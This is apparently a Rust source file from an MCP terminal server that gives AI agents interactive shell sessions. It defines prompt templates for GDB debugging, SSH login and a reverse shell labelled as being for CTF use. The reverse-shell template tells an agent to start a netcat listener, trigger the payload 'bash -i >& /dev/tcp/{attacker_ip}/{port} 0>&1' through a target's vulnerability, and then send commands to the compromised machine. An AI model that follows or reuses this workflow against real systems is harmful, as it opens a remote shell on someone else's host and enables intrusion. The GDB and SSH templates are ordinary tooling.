terminal-mcp 0.1.6

Model Context Protocol (MCP) server for long-lived shell execution.
// src/service/prompts.rs
use super::TerminalMcpService;
use rmcp::{handler::server::wrapper::Parameters, model::*, prompt, prompt_router, schemars};
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize, schemars::JsonSchema)]
pub struct GdbDebugArgs {
    #[schemars(description = "Path to the executable to debug")]
    pub binary_path: String,
    #[schemars(description = "Session tag, defaults to gdb1")]
    pub tag: Option<String>,
}

#[derive(Debug, Serialize, Deserialize, schemars::JsonSchema)]
pub struct SshConnectArgs {
    #[schemars(description = "Target host, IP or domain")]
    pub host: String,
    #[schemars(description = "Login username")]
    pub user: String,
    #[schemars(description = "Session tag, defaults to ssh1")]
    pub tag: Option<String>,
}

#[derive(Debug, Serialize, Deserialize, schemars::JsonSchema)]
pub struct ReverseShellArgs {
    #[schemars(description = "Attacker (local) IP address accessible by the target")]
    pub attacker_ip: String,
    #[schemars(description = "Listening port, defaults to 4444")]
    pub port: Option<u16>,
    #[schemars(description = "Session tag, defaults to listener")]
    pub tag: Option<String>,
}

#[prompt_router(vis = "pub(crate)")]
impl TerminalMcpService {
    #[prompt(name = "shell_usage_guide", description = "Quick reference for core usage principles: when to use exec, when to use interactive sessions")]
    async fn shell_usage_guide(&self) -> Vec<PromptMessage> {
        vec![PromptMessage::new_text(Role::User, crate::docs::QUICK_START)]
    }

    #[prompt(name = "gdb_debug_session", description = "Generate GDB debugging steps for a specified binary")]
    async fn gdb_debug_session(
        &self,
        Parameters(GdbDebugArgs { binary_path, tag }): Parameters<GdbDebugArgs>,
    ) -> Vec<PromptMessage> {
        let tag = tag.unwrap_or_else(|| "gdb1".to_string());
        vec![PromptMessage::new_text(
            Role::User,
            format!(
                "Debug {binary_path} (tag=\"{tag}\"):\n\
                 1. shell_spawn(shell=\"bash\", tag=\"{tag}\")\n\
                 2. shell_send_line(input=\"gdb {binary_path}\", tag=\"{tag}\")\n\
                 3. shell_output(tag=\"{tag}\", idle_ms=1000) confirm the prompt appears\n\
                 4. Confirm with shell_output after every gdb command before proceeding; use \
                    shell_wait_for(tag=\"{tag}\", substring=\"Breakpoint\", timeout_ms=5000) to wait for \
                    continue/run instead of guessing idle_ms\n\
                 5. Once finished, shell_close(tag=\"{tag}\")\n\
                 See guide://shell/gdb for details"
            ),
        )]
    }

    #[prompt(name = "ssh_connect_session", description = "Generate step-by-step SSH connection operations for a target host")]
    async fn ssh_connect_session(
        &self,
        Parameters(SshConnectArgs { host, user, tag }): Parameters<SshConnectArgs>,
    ) -> Vec<PromptMessage> {
        let tag = tag.unwrap_or_else(|| "ssh1".to_string());
        vec![PromptMessage::new_text(
            Role::User,
            format!(
                "Connect to {user}@{host} (tag=\"{tag}\"):\n\
                 1. shell_spawn(shell=\"bash\", tag=\"{tag}\")\n\
                 2. shell_send_line(input=\"ssh {user}@{host}\", tag=\"{tag}\")\n\
                 3. shell_output(tag=\"{tag}\", idle_ms=1500), respond dynamically based on actual output\n\
                    (yes/password/directly entering remote prompt)\n\
                 4. Execute remote commands only after successful login, use exit and then shell_close(tag=\"{tag}\") before finishing\n\
                 See guide://shell/ssh for details"
            ),
        )]
    }

    #[prompt(name = "reverse_shell_session", description = "Generate reverse shell listening operations for CTF scenarios")]
    async fn reverse_shell_session(
        &self,
        Parameters(ReverseShellArgs { attacker_ip, port, tag }): Parameters<ReverseShellArgs>,
    ) -> Vec<PromptMessage> {
        let port = port.unwrap_or(4444);
        let tag = tag.unwrap_or_else(|| "listener".to_string());
        vec![PromptMessage::new_text(
            Role::User,
            format!(
                "Establish a reverse shell listener on {attacker_ip}:{port} (tag=\"{tag}\"):\n\
                 1. shell_spawn(shell=\"bash\", tag=\"{tag}\")\n\
                 2. shell_send_line(input=\"nc -lvnp {port}\", tag=\"{tag}\")\n\
                 3. shell_output(tag=\"{tag}\", idle_ms=500) confirm listening status\n\
                 4. Trigger via target machine vulnerability, similar to:\n\
                    bash -i >& /dev/tcp/{attacker_ip}/{port} 0>&1\n\
                 5. shell_output(tag=\"{tag}\", idle_ms=2000) confirm the target machine prompt is acquired\n\
                 6. Send subsequent commands via shell_send_line(tag=\"{tag}\"), every step must use \
                    shell_output to confirm the result\n\
                 7. Once finished, shell_close(tag=\"{tag}\")\n\
                 See guide://shell/reverse_shell and guide://shell/security for details"
            ),
        )]
    }
}